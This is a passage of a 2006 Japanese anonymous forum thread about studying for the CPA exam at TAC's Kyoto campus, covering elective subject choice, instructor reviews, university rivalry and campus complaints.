勿論両方兼ね揃えていれば文句無しですが。

皆さんも早く受かりたいのなら、選択は満点取れる科目に切り替えた方がいいですよ。
8割以上が選択する経営学では大差がつきにくい。
あれだけ合格率が低い試験を短期で受かりたければ
それなりに人とは違う事をしなければならないのは当然ですからね。
あくまで早期合格を望むのなら、ですけどね。
ちなみに想定問題、あれは統計を一通りやっていて計算力がある人ならば
ほぼ確実に満点を狙えるレベルでしたね。

146 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 12:36:53 ID:???
「早期合格」→「短期合格」でした

147 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 13:53:17 ID:???
あんまり噛み付きたくないけど、統計はあまり数学的ではないから
高校数学をちゃんとできる文系なら問題ないと思うんだが・・。
まぁでも07目標の入門生がこれからやるとしたら厳しいやろうけど。
そのへんは文句なく同意です。

短答受かった人は論文終わって就活済んで、来年に向けて勉強するとき
に統計をやればいいと思う。時間があれば文系でもちゃんと理解できる
レベル。難易度は決して高くなく、出てくる論理や算式も難しくない。
あとはすらすらと解いていくトレーニングを積める時間があればOK

あとは満点近い受験生が多すぎて、範囲が広がらないことを願うのみ。
測度論や確率微分まで広がると文系は経済で専門的にやってる人(院レベル)
以外は無理だろう。

148 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 14:05:55 ID:???
経済で使う数学ってたかが知れてるよ。
偏微分だって1時間もいらないし。
努力対効果が一番高いんじゃないかなぁ。
一度覚えたら中々忘れないし。

まあ数式見ただけで湿疹でるような数学アレルギーの方ならおすすめできないけど、そうでないなら結構楽な科目だと思うけど。

149 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:58:38 ID:???
結局統計はハイリスクハイリターンだよ
はずれの年はこわいぜ

150 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 16:11:37 ID:???
まあ短答特化しとけよ
お前らの9割は短答できえるんだから

151 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 17:26:03 ID:???
一教科特化はハイリスク過ぎるよ。
奇問・難問がきてコケた場合のダメージがデカ過ぎる。

152 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 19:00:14 ID:???
一教科特化というのはどういうこと?

153 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 21:56:03 ID:???
自信満々理系統計選択野郎みたいなこと。
こいつが、自慢の数学力を使う前に短答で落ちることを切に願おう。

154 :152:2006/09/12(火) 22:05:29 ID:???
>>153
理系出身者が現われただけでなんでそんなに怒ってんの?w
連中が統計を選択するのは自然な選択なんじゃねえの。
5つの必須科目を勉強した上で、
もう一つ、自分が最も点数を取れそうな科目を選択するだけでしょ。

155 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 22:06:03 ID:???
>>144
統計学でも編微分程度は使いますが?

156 :145:2006/09/12(火) 22:16:02 ID:???
>>147
自分は数学力における「理系」「文型」と言う言葉を、
高校数学の学習範囲や課程で区切っているのではなく、
あの問題を2時間で解くだけの計算力の高さを有しているか否かという意味で使っていました。
京大文型のように論述できっちりとやりこんできた人もいるだろうし、
理系でも大学に入ってからは数学をほとんど使っていない人もいますからね。
数学I・U・A・Bを高校時代に十分学習したということと、
公認会計士2次試験、論述統計を時間内に十分解けるということは違うということですね。
それと統計で使う数学は経済に比べてはるかに高度で力を要しますよ。

>>153
不快な思いをさせて失礼しました、もう統計の話は止めます。

157 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 23:16:25 ID:???
なんかさー
>>140以降、3人くらいの奴だけが書き込んでねぇ?www
理系出身で数学の自信で会計士試験受かると思ってるバカと、
理系コンプ剥き出し、満点宣言にびびってベテ根性剥き出しのイタイ奴。
そしてその両者に見当違いの(間違い情報含む)ツッコミを入れてる奴。
まあ多くとも5人だろw

158 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 23:47:56 ID:???
書き方がえらそうだからムカツクんじゃね?

159 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 00:23:41 ID:53THeFVE
>皆さんも早く受かりたいのなら、選択は満点取れる科目に切り替えた方がいいですよ。
>それなりに人とは違う事をしなければならないのは当然ですからね。

この辺うざいな。経営選ぶ理由にリスクヘッジて言葉を知らんのかと。
経済、経営、統計でどれ選ぶかで、数学得意な奴が
みんな去年どれだけ悩んだことか。

160 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 00:45:16 ID:???
意外と試験会場民法いたのが驚いたわけだが。

161 :番組の途中ですが名無しです:2006/09/13(水) 01:23:28 ID:???
>>160

日本語でおk

162 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 11:21:49 ID:???
数学AとかBとかってなんだ?
俺は高校時代基礎解析は鬼のように成績良かったぞ。

163 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 11:50:19 ID:???
>>162は30歳以上のヴェテ。 
基礎解析とか代数幾何とかいう教科名は、15年ほど前に数II・Bに変わったよ。

164 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 14:37:06 ID:???
>>162
民法はどれくらいいましたか?経済より多いですか?

165 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 15:38:38 ID:???
>>163
96年受験までは(当時の)旧課程、97年受験からは(当時の)新課程。

166 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 23:23:19 ID:???
心配しなくても、必須科目でほぼ全て決まるんだから
他の人の選択心配している暇があったら必須しっかりやっとけ。

167 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 23:33:23 ID:???
想定問題てサンプル問題?
本試験はサンプル問題とはだいぶ違ったみたいだが
満点とれそうなのかな。
聞く話によると統計選択者って数学科で
統計のゼミ行ってた奴とかもざらみたいだね
理系ってだけじゃリスク高いかもねー
タックの授業もいまいちみたいやし

168 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 01:15:08 ID:???
数学科とか大学生全体から見るとかなり少数なのに、
そいつのなかに自分の専門に専念せずに、会計士試験なんか受けている奴そんなにいるのか?
まあ、そいつらはもれなく統計受けるんだろうけど、絶対数はかなり少ないはず。

169 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 12:21:37 ID:???
>>163
うるせーバカ

170 :一般に公正妥当と認められた名無しさん:2006/09/16(土) 00:12:46 ID:DxCTDcLn
つーか、論文組みがちらほらタクで勉強再開しだしてるな。
内定もらって暇だし、アクセス始まるから勉強するかって感じなのかな。

171 :一般に公正妥当と認められた名無しさん:2006/09/16(土) 22:01:24 ID:???
そうだね 改正ぐらいは大原ですでに大方おさえてるよ
たっくは改正対策おそいな

172 :一般に公正妥当と認められた名無しさん:2006/09/20(水) 02:59:45 ID:???
かたやまきもいんですなんとかしてください

173 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:56:53 ID:???
粘着きめぇwww
しかもageてまでwwww必死だなwwwww

174 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 10:04:25 ID:???
http://www.nishinippon.co.jp/nnp/national/20060921/20060921_052.shtml
企業法の渡部先生と村井先生、新司法試験に合格したみたい。
TACのパンフに載ってる名前で合格者名簿調べたら、渡部秀樹と村井勝則が名簿にあった。
新司法の合格率48%だし、十数年も司法の勉強をしてきた人なら合格して当然なのかな。

175 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:48:02 ID:???
>>174
受かったら講師業はどうなんの?

176 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:25:05 ID:???
みんな論文は統計にしとけ

177 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:40:03 ID:???
司法修習は兼業禁止だから2月くらいで辞めるんでしょ。
秋もしくは春から修習あるようだけど、来月いきなり辞められたら困る。

178 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:50:38 ID:???
短答合格来年2000人はほんと?

179 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:56:35 ID:???
どこのロー行ってたの?京大?

180 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:59:01 ID:???
おーはらおーはら本気になったらおーはらおーはら




181 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 17:16:54 ID:???
>>177
どっちにしても途中でいなくなるってことやね

182 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 17:31:05 ID:???
>>176
統計学受験者のレベル下げたいの?

183 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:54:27 ID:???
統計は現実に有利だぜ

184 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 22:30:17 ID:???
また統計の話かよ。
荒れてたからTAC・CPAの総合スレでやってきたら?
選択科目のメリットデメリットなんて京都校スレでやる必要ないし。

185 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 11:15:54 ID:MJQPpakE
受付かわいい娘が多いね

186 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 17:40:17 ID:???
ここのやつらって論文の手ごたえどうよ?
再現の人くらいはあるのかな?

187 :一般に公正妥当と認められた名無しさん:2006/09/26(火) 08:22:43 ID:???
講師やりながら司法試験受かるもんなんやなあ。
講義の準備とか結構時間かかりそうなのにな。
合格率高いってもローの勉強も大変だろうに。

188 :一般に公正妥当と認められた名無しさん:2006/09/26(火) 10:14:05 ID:???
>>187
去年現行の司法試験受かった講師がいたよ。

189 :一般に公正妥当と認められた名無しさん:2006/09/26(火) 16:44:08 ID:???
租税はきってよし
短答後で十分まにあうらしいよ
短答特化したほうがいみたい

190 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 02:01:03 ID:IkmJharK
↑2007や2008で初めて受ける人はそうしたほうがいいのかもね
初年度で短答突破できる人の方が少ないんだし。

191 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 09:23:55 ID:???
マルチコピペ荒らしにレスしなくてもいい

192 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 15:11:31 ID:???
>>191
上記をマルチコピペと知っている、ネット三昧なお前は
一生合格しないと思うがなwww

193 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 18:29:36 ID:???
ネット三昧じゃない俺でもそのコピペは会計版見てるだけで
マルチとわかるんだが・・・・w



194 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 01:14:54 ID:???

公取委によると、TACは2005年12月―
今年6月に配布した公認会計士試験講座の
パンフレットに、05年度試験の会員合格者
数を「1079名 合格者に占める割合82.4%」と表示。
この中には短期間の講座を数回受けただけの人や数年
前の受講者も含まれていた。税理士試験講座のパンフ
レットでも同様の記載をしていた。



195 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 00:54:12 ID:???
>>179
関大ロー

196 :氏名黙秘:2006/10/18(水) 16:22:59 ID:???
ホシュあげ

197 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 01:44:47 ID:???
休憩室
よく見るやつほど
落ちている

歌丸です。

198 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 02:35:44 ID:c7Pqo00n
同志社のアホどもジャマ

199 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 02:46:39 ID:???
関西で同志社右に出る私立なし。
関東には早慶という名門があるがな。

200 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 02:59:12 ID:???
でも同志社って人数が多いだけで会計士試験の合格率って京阪神に比べたらかなり低いような。。

201 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 05:52:15 ID:???
アクセスとかセレクトとかあるじゃん?
あれって幾らくらいするものなの?
色々webで調べてみたけど情報が一切無いんだけど

202 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 09:28:12 ID:???
http://www.cpa-tac.com/access/jyukoryo.html

203 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 18:33:24 ID:???
>>202
おーサンクス!
相変らず同じ内容なのに期間が違うだけで受講料が違うんだなw
TACのシステムってこう言うところが嫌いだ。
まあ、本科生で2年と1・5年で料金が違うのはわかるけど(自習室の利用など長期的に施設を利用するから)
既に本科生で入ってて施設利用権料を支払っている人にとっては何の付加価値も無いよなこれって。
他の学校の生徒とか、アクセスだけを受ける人にだけこの料金変動性を適用するのはまあわかるけど。
ほとんどのTAC生にとっては、ただ「適切な学習ペース」を得るためだけにTACに余分に金を払うことになるんだな・・
TACも営利企業だから仕方がねーとはいえちょっとあこぎだなこれは。

204 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 18:35:47 ID:???
あ、ちょっと待った、同じ内容じゃないのかこれ?
9月開始はそれだけ問題が多いんだな・・・
すまん、>>203はスルーしてくださいw

205 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 21:17:20 ID:???
今は Rits の方が評価高し

206 :一般に公正妥当と認められた名無しさん:2006/10/20(金) 00:07:13 ID:???
>>205
あほか。

207 :一般に公正妥当と認められた名無しさん:2006/10/20(金) 03:29:29 ID:???
立命も同志社も京大阪大から見たらクズw

208 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 04:57:40 ID:???
東大から見れば〜ケンブリッジから見れば〜MITから見れば〜、ですか。

209 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 14:28:36 ID:3clJKafT
つーか京大と阪大とを一括りにしないでもらいたい。

210 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 15:02:23 ID:???
おいおい、京大っていっても医学部とそれ以外を一緒にしてもらっちゃ困るよ。

211 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 15:14:04 ID:???
総人だけはガチ

212 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 15:20:42 ID:???
京大経済学部っていまだにマル経中心なの?

213 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 16:00:44 ID:???
中心ではない。

214 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 16:01:47 ID:???
じゃあ、さすがに今は近代経済学中心なんだ

215 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 18:15:02 ID:???
丸経の先生は根強くいるけど
1、2回生で軽く習うくらいだよ。
てか学部生の経済学のレベルは相当低い。
真面目にやってる奴は殆どいないし、
真面目にやってても会計士受験レベルの問題を
解けるのは皆無だろう。

216 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 18:17:35 ID:???
法学部は意外と厳しいのにな
経済は相変わらずパラ経なのね

217 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 22:33:27 ID:???
適当に遊んでいても、一流企業に就職できるからな。
よほどの物好きでもない限り、「大学の」勉強なんてしない。

218 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 01:38:41 ID:???
経済学部ってDQNが行く学部でしょ?^^

219 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 03:51:14 ID:???
経営学部や商学部よりはマシ。

220 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 05:46:41 ID:???
まあ会計士受験生の大半がそのDQN学部な訳だが

221 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 08:49:29 ID:???
経営とか商学部とかある私立文系って時点てクソ大学やな


222 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 12:01:58 ID:???
まあ医学部と法学部以外は全部同じようなもんやね

223 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 13:38:50 ID:yCiMlGAc
不毛な議論やめよ
会計士目指してる時点で学歴は関係ないぽ。


224 :一般に公正妥当と認められた名無しさん:2006/10/22(日) 13:42:04 ID:???
京大の俺には関係のない話だね

225 :一般に公正妥当と認められた名無しさん:2006/10/23(月) 00:15:53 ID:???
俺も京大卒だが
恥ずかしながら未だ会計士に
なれない自分がいる。
自分にとっては現役合格できた京大より
会計士受験の方が難しいと感じるよ。
だから優秀な受験生は学歴関係なく
尊敬している。

226 :一般に公正妥当と認められた名無しさん:2006/10/23(月) 00:39:18 ID:???
京大でヴェテる人がいるってのが本当に信じられない。
真面目すぎて根詰めて完璧にしようとしてるのかな・・。

227 :一般に公正妥当と認められた名無しさん:2006/10/24(火) 02:22:11 ID:???
京大生は努力が苦手な理論家が多いから、
計算科目の反復練習や理論科目の定義の暗記とかが苦手なんじゃないかな。

228 :一般に公正妥当と認められた名無しさん:2006/10/24(火) 02:29:05 ID:???
>>226-227
京大行ってた俺の友達も簿記が全然出来なくて結局撤退、今は公務員をやってるわ。

229 :一般に公正妥当と認められた名無しさん:2006/10/24(火) 03:44:53 ID:???
京大でべテる人なんかそういないだろwほとんどが1回か2回目で受かってるんちゃうか
ベテは立命とか同志社ばっかりだろ

230 :一般に公正妥当と認められた名無しさん:2006/10/24(火) 17:39:19 ID:???
簿記っつーのは、すんなり理解できる人とそうでない人がいる。
極言すれば才能に近い。
500年も前から商人なら誰でもやってきたことなので、努力でいかんともしがたい
って訳では決してないが。


231 :一般に公正妥当と認められた名無しさん:2006/10/24(火) 17:52:41 ID:???
京都内で言うと名門高の洛南の三類や洛星でも、京大に滑る奴が山ほどいる一方で、
公立高校や中堅私立からでも、1人や2人京大や東大に入ってる奴いるだろ?
高校受験(中3時)までの学力におけるポテンシャルの高さを見せていても、
その先にあるもので必ずしも順当に成長して、成功できるわけはない。
小中高大と、学問が延長上にある学校の入試試験の例ですらこう。
入試と簿記とか、会計士試験は種類が違うから尚更参考にならないよ。
京大の奴は間違いなく賢いし、ポテンシャルも低いと言うはずが無いが、
他の大学生と違うのは、中学校・高校(小学校、早い奴では幼稚園から)とガキの頃
からの知識の蓄積、貯金があるからであって、
めちゃくちゃ記憶力がいいとか、そういう意味でのポテンシャルがめちゃくちゃ高いとは限らないよ。
勿論天才みたいなやつもいるけどね。
逆にマーチレベルの大学に入れているくらいの頭があるなら、
幼少からの環境(主に家庭の)と本人のやる気次第で京大や東大に入れている奴も
かなり多いよ。
まあとりあえず、色んな意味でこの試験に学歴は関係ないわけだから、
高学歴の人もそうでない人も頑張ればいいだけだよ。

232 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 14:42:09 ID:???
まだ買って半年の電卓が壊れてしまったよ。
「5」のボタンが埋没してしまい、戻ってこない。
電卓ってこんなに早く壊れるものなのかな?そんなに粗雑に扱っていなかったつもりだが・・
TAC移動時にはかばんにいれてるんだけど、そのときにどこかで打ったりしたのかな?

233 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 15:09:44 ID:???
豪打タケシあらわる

234 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:07:16 ID:???
30人くらいに特定されちゃうから若干気が引けるけど、
どうしても我慢できないから書く。
中原ミス多すぎない??
今日の夜の授業受けた人なら分かると思うけど。
毎回レジュメに必ずミス・誤植があるし、
今日は前回の最後に説明した部分をまた説明しなおしてた。
前回に、範囲を間違って一つの論点を多くやっちゃったんで、
進度をあわせるために今回もう一回同じ事を説明してたというわけなんだが。
説明も下手糞でレジュメを抑揚が無く眠たい声で淡々とやるし、
授業中寝てしまうそうになる。
藤木先生の授業はわかりやすいし、集中できるんだが、
中原のは本当だるい。この授業がこれからしばらく週2であるっていうのがかなりきついわ。
簿記が苦手科目になりそうだ・・・

235 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:21:46 ID:???
中原が合わないと思うならV李にするか他校舎の生クラスに行ったら。
個人的には池上が分かりやすいと思うけど。

236 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:27:34 ID:???
なるほど。
池上は梅田でやってるんでしょうか?
李先生はわかりやすいらしいですね。

237 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:32:52 ID:???
池上先生は梅田となんばですね。
抑揚はかなりありますよw
テキスト使わないのでレジュメは大量ですが、とてもわかりやすいです。

238 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:44:50 ID:???
うーむ、大阪はいいですねえ選択肢が二つあって(V入れたら3つか)
京都では通学は選択肢が一つしかないので。
授業のメリハリ(抑揚)と生授業における緊張感とを
同時に二つを求めるわがままな自分にはちょっと環境が良くないなあ。

239 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 21:48:30 ID:???
京都から梅田では特急にタイミングよく乗れても50分はかかるし、往復で100分。
席に座れたらその時間で勉強をできるとはいえ、
やはり集中力が散漫になりますし、非効率。
っていうか実際他府県にまで別授業を受けに行く人っているんですかね?
校舎やクラスが多い東京や大阪はいいなー

240 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 22:54:57 ID:???
簿記なんて誰から習おうが同じだと思うが

241 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 23:23:49 ID:???
>>234
梅田は市橋先生だけです。レジュメはすごく良くできているし,賢いのはわかりますが,プレゼン能力は低いと思います。
あと,質問に行きにくいとの評判です。
それぞれ相性があると思いますが,総合力として中原>市橋だと思います。

池上先生は,話が面白いし,財表の理解の先取りに役立つと思いました。ただ,レジュメはちょっとです。
講義力に関しては,池上>>>>>中原>市橋です。別に中原先生が悪いのではなく,池上先生が別格だと言うことです。

ビデオの李先生ですが,梅田ではミニテストの平均点が李クラスと市橋クラスで大きく差が開いています。
市橋クラスが平均80点でも,李クラスは40点もないことが多いです。李先生を選ぶ際には注意した方がいいと思います。

>>240
梅田校の市橋クラスと李クラスを比較すれば誰から習おうと同じだとは言えないと思う。
やはり,市橋レジュメはすごいと思う。

242 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 23:32:06 ID:???
池上先生ってオール巨人師匠みたいな話し方の人だっけ?

243 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 23:40:19 ID:???
>>241
俺の先輩去年受かったけど、簿記はV李だったわけだが・・・
簿記の場合レジュメうんぬんでそこまで差はつかんだろう普通。

244 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 00:48:34 ID:???
>>240
簿記を舐め過ぎという以前の問題。
誰でもできるものでも、心地よく、また効率よく学びたいというのは当然の考えでしょ。
受験勉強に許される時間も、人生も有限だよ。
上級簿記であろうが、講師の話を一度聞いただけで全て理解できるというのなら話は別だが。

245 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 00:50:37 ID:???
なるほど、こうやってベテっていくのね・・・

246 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 01:03:13 ID:WIwt9UpX
まあレジュメ重視で先生を選ぶのも一つの方法。
講義力で選ぶのも一つの方法。
はたまた、先生に拘らないのも一つの方法ってことだと思うよ。
とりあえず概していえるのは早く自分の方法論・勉強スタイルを確立すればいいってことだ。
理論科目に関してはまた少し事情が違ってくるがな。

247 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 10:20:13 ID:???
>>246
理論科目ならどんなふうに事情が違うのですか?
計算科目は、いろいろ選択肢がありますが、理論科目は講師の選択肢が限られています。

248 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 10:26:51 ID:???
>>238
>>239
梅田も選択肢は一つです。去年は中原先生が梅田まで来てくれていたので選択肢が二つでしたが。

249 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 18:46:30 ID:???
>>241
市橋先生のレジュメのどのようなところが良いのでしょうか?
中原先生のレジュメみたいに実務指針が盛り込まれていますか?
詳細知りたいです。


250 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 21:03:09 ID:???
>>248
梅田+なんばで大阪は選択肢2つという意味では?

251 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 22:49:37 ID:???
企業法って、会社法だけに絞ってよくないかい?

252 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 23:40:10 ID:???
梅田となんばは全然違います。
なんばは地下鉄を使わなければならないので完全に別世界です。

なんば校はあまりにも不便で僻地なので廃校にしてもらいたいです。

253 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 23:51:41 ID:???
>>252
梅田からなんばまで地下鉄で8分だが

254 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 23:57:43 ID:???
>>252
不便で僻地ってどこのなんば校?TACのなんば校は地下鉄の駅直結だけど。

255 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 00:23:23 ID:XgHpaeq4
>>251
商法総則とかもいるかと。特に短答は。

256 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 00:52:58 ID:???
地下鉄を使わなければならないこと自体不便で僻地の証拠。
地下鉄の運賃も梅田から1区で行けないとんでもないところにある。
JRを使えば少し安いが大阪から新今宮に行ってのりかえて難波まで行かなければならずさらに歩かなければならない。
難波校は不要です。

257 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 00:54:59 ID:???
>>256
それはおまえの問題だろ?
会計士目指してるような奴の知能にはとても思えない書き込みだな。

258 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 04:36:22 ID:wgvFF9Kd
8階を引き払って3階フロアを使えばいいのに
つかエレベーターがマジで来ない

259 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 06:31:46 ID:???
エレベーターのボタンを2つとも押すバカがいるからだよ。
2つ押してる奴は、わざわざ「自分はバカです」と
周りに示してるようなもんだ。


260 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 14:18:46 ID:???
地下鉄の運賃すらケチる
小さい人間だな

261 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 15:18:05 ID:???
エレベーターを呼ぶときに、障害者用のボタンまで押さないで下さい。
余計に到着が遅くなります。


262 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 21:42:02 ID:???
エレベーターが来るのが遅いときは歩け!

263 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 21:48:42 ID:???
上2階、下3階くらいはエレベーター使わずに行こうぜ
1階から7階まで乗ってる時に、5階で乗ってきた人が6階のボタン押したりすると多少イラッとくる。

264 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 01:30:59 ID:???
>261
いや、その階の到着は遅くならないけど、
他の階で待ってるやつが迷惑する。

265 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 23:33:44 ID:???
徳先生ってわかりやすい?

266 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 23:57:40 ID:???
http://blogs.dion.ne.jp/halohalo/archives/3617264.html

267 :一般に公正妥当と認められた名無しさん:2006/10/30(月) 00:08:59 ID:???
aaa

268 :一般に公正妥当と認められた名無しさん:2006/10/30(月) 00:10:16 ID:???
企業法の末廣ってどう?パンフレットにも乗っていないので新人か非常勤の人?

269 :一般に公正妥当と認められた名無しさん:2006/10/30(月) 11:45:13 ID:mGTpFe6u
窓がストンと落ちる成瀬先生の車っていったい何だ?

270 :一般に公正妥当と認められた名無しさん:2006/10/30(月) 22:34:17 ID:A0sl5SJ8
滋賀県教委は29日、草津東高(草津市)で、3年生の必履修科目、世界史A
(2単位)が履修されていない、と発表した。必履修科目の未履修が確認され
たのは膳所高、彦根東高に続き県内で3校目。県教委は、48の全県立高で履
修がきちんと行われているかを確認するため、30日から職員が各校に赴き、
実地調査に入る。 同高3年の文系国公立クラスの54人に対して世界史Aの
替わりに、日本史Bの授業が行われ、世界史Aの定期試験も日本史Bの内容
だった。最大で70時間の補習が必要になる。昨年度も同クラスでは世界史
Aの替わりに、日本史Bの授業が行われ、39人が世界史Aを未履修のまま
卒業した、という。 東芳生草津東高校長(58)は「受験対策から未履修とい
うことになってしまった」と話している。 県教委に28日、「草津東高の
文系クラスで世界史を全く行っていない」との匿名の電子メールが寄せられ、
未履修が判明した。

271 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 02:09:43 ID:???
>>268
企業法の末廣は新人。実力は未知数。
あとパンフレットに載っていない新しい講師は坂本。坂本先生は、渡部秀樹先生の後輩で平成16年までTACにいた。初回の講義で六法を持ってこなかった受講生に「おまえ何しに来た!帰れ!」と怒鳴ったらしい。

272 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 06:18:07 ID:???
>>271
うっわ・・それ最悪だな、坂本っていう講師ね。
熱血とか通り越してちょい理不尽だ。
最初の授業で六法の必要性とか、お勧めの本を説明するんじゃないの?
それを初回の授業でやってはいいのは法学部法律学科の専門科目や演習だけじゃねえ?
法律科目を学ぶのがはじめての人もいれば理系の人だって来てるんだし。

273 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 06:42:54 ID:Dkz9PMay
>>273
言いたいことはわかるが、あの難関試験に挑戦して受かりたいって奴が、
それでは気概が足りんということでしょ。
まあ俺も目の前で実際言われたら殴りたくなるだろうがw

274 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 11:30:36 ID:???
>>273
渡部先生の話によると、坂本先生はものすごくいかつい人らしいです。殴れるような相手ではありません。

275 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 12:05:48 ID:???
成人が公の場で人を殴ればどうなるかっていうことと、
そしてTACの残りの受講権利を失うリスクを承知の上で、
どうしても我慢できずに殴ってやりたいと言う前提に一度立った上で、
>>274
のように相手がいかついかいかつくないかで殴らなかったり殴ったりというのは
めちゃくちゃかっこ悪い態度ですね。

それとはまた別の論点として、相手が893であるかどうかの見極めは必要ですが。

276 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 12:12:23 ID:???
>>275がキモイ、まで読んだ。


277 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 12:38:30 ID:???
>>275
ジャイアン、キャラ濃すぎ

278 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 12:54:07 ID:???
成人が公の場で人を殴ればどうなるかっていうことと、
そしてTACの残りの受講権利を失うリスクを承知の上で、
どうしても我慢できずに殴ってやりたいと言う前提に一度立った上で、 >>274>>275
のように相手がいかついかいかつくないか、893か893でないかを見極めた上で殴らなかったり殴ったりというのは
めちゃくちゃかっこ悪い態度ですね。



279 :275:2006/10/31(火) 13:09:11 ID:???
相手がいかつかったり強そうだったりして変えるのはそいつがダサい、
或いは臆病、自身がないだけなんでそいつの問題だけに留まる。

が、893の場合は家族にも迷惑をかけることになるので、
そこでストップをかけれない奴はかなり不味いんだよ。

280 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 18:57:24 ID:???
ってか>>273が激しく自己レスな点を突っ込め!

281 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 21:35:45 ID:???
それとは別に坂本って講師が非常識な講師ってことには変わりがない。

282 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 22:59:26 ID:???
坂本って06夏上企業法で1回だけ他の講師の代打やった五分刈りの人?
普通のおっさんだったような気がするけど。

283 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 00:03:40 ID:???
昔梅田で教えていた人かな?

284 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 00:04:12 ID:???
